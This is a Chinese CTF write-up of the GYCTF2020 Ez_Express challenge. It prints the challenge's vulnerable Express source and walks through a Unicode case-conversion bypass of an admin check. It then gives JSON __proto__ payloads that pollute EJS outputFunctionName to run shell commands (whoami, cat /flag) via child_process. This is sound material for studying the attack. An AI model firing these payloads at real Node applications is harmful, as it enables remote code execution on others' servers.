首页 > 其他分享 >[GYCTF2020]Ez_Express 1

[GYCTF2020]Ez_Express 1

时间:2024-07-18 14:29:07浏览次数:8  
标签:body req res Express GYCTF2020 session user Ez router

原型链污染,信息收集,命令执行,代码审计

这个题我在做之前学了p神的教程
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
打开后可以发现是一个登录界面,之后我们先进行信息收集找到了www.zip这个文件,然后得到了源码
index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

主代码是这个,我们发现了有action路由,可以利用,但是我们要先登录进去,发现让我们用ADMIN进行登录,但是我们没办法直接传ADMIN,随便注入一个,可以发现,他把我们的名字换成了大写,这样的话用到了JAVAscript的一个大小写特性
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。 这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.
https://www.cnblogs.com/20175211lyz/p/12659738.html
大家可以看见这篇文章,里面有有这个题用到的两个方法,同时p神也有文章在说这个
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
这样的话我们直接admın就可以进入

先注入一下发现会跳转/action

再看下代码

outputFunctionName这个是可以进行污染的,具体污染条件,可以看上面p神的文章,然后结合第二个文章的ejs污染outputFunctionName,可以尝试做一下

这样的话我们尝试抓一下/action的包

这里我们要用json进行污染,更改为json

之后直接用proto进行污染

{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //"}}


发现成功返回,通过源码可以知道从/info看回显,直接访问发现可以命令执行
直接

{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}


得到flag

标签:body,req,res,Express,GYCTF2020,session,user,Ez,router
From: https://www.cnblogs.com/z2gh/p/18309443

相关文章

  • devexpress dxNavBar 用法
    unitUnit2;interfaceusesWinapi.Windows,Winapi.Messages,System.SysUtils,System.Variants,System.Classes,Vcl.Graphics,Vcl.Controls,Vcl.Forms,cxGraphics,cxControls,cxLookAndFeels,cxLookAndFeelPainters,dxNavBarGroupItems,dxNavBarCollns,......
  • [MRCTF2020]Ezpop(反序列化)
    打开题目即可得源码Welcometoindex.php<?php//flagisinflag.php//WTFISTHIS?//LearnFromhttps://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//AndCrackIt!classModifier{protected$var......
  • 界面控件DevExpress Blazor UI v24.1 - 发布全新TreeList组件
    DevExpress BlazorUI组件使用了C#为BlazorServer和BlazorWebAssembly创建高影响力的用户体验,这个UI自建库提供了一套全面的原生BlazorUI组件(包括PivotGrid、调度程序、图表、数据编辑器和报表等)。DevExpress Blazor控件目前已经升级到v24.1版本了,此版本发布了全新的TreeLi......
  • 2024-07-17 搭建一个node+express服务器,并把静态资源部署到该服务器(本地开发)
    前言:请确保你已安装了node,没有你得先装这个。步骤一://创建文件夹mkdirexpress-node//创建完了进入该文件夹cdexpress-node//初始化npminit-y//安装expressnpmiexpress前提工作都准备好后,在express-node文件夹里新建文件server.js,作为启动服务器的入口文件......
  • DevExpress WPF中文教程 - 为项目添加GridControl并将其绑定到数据
    DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpressWPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。无论是Office办公软件的衍伸产品,还是以数据为中心......
  • qxlsx 冻结单元格(freeze fix)
    在使用qxlsx过程中,导出的Excel要求有行列冻结功能(https://github.com/QtExcel/QXlsx)。没找到库中代码有此功能,后来在讨论组组中,发现了一个大神把这个问题解决了(https://github.com/QtExcel/QXlsx/discussions/200)。在此记录一下。吧QXlsx库的源代码及更改上传到此:https://fi......
  • Setup Babel ES6 for Express and Nodejs
    Createprojectandinstalldependenciesmkidrmy-app&&cdmy-appnpminit-ynpmi-D@babel/cli@babel/core@babel/node@babel/preset-envnpmiexpresssCreate.babelrc{"presets":["@babel/preset-env"]}Writeawebs......
  • B. Nezzar and Binary String
    原题链接题解正着来发现很怪,倒着来发现顺多了code#include<bits/stdc++.h>#definelllonglongusingnamespacestd;constllN=114514;lltree[8*N]={0};lltag[8*N]={0};stringa,b;voidbuild(intnode,intl,intr){tag[node]=-1;if(l==r){......
  • C. Nezzar and Symmetric Array
    原题链接真恶心code#include<bits/stdc++.h>#definelllonglongusingnamespacestd;constllN=114514;lla[200005],d[200005];boolsolve(){lln;cin>>n;for(lli=1;i<=2*n;i++)cin>>d[i];sort(d+1,d+1+2*n);for(i......
  • 8-基于双TMS320C6678 + XC7K420T的6U CPCI Express高速数据处理平台 双DSP 6U CPCI架
    基于双TMS320C6678+XC7K420T的6UCPCIExpress高速数据处理平台 1、板卡概述板卡由北京太速科技自主研发,基于6UCPCI架构,处理板包含双片TIDSPTMS320C6678芯片;一片Xilinx公司FPGAXC7K420T-1FFG1156芯片;六个千兆网口(FPGA两个,DSP四个);DSP与FPGA之间Rap......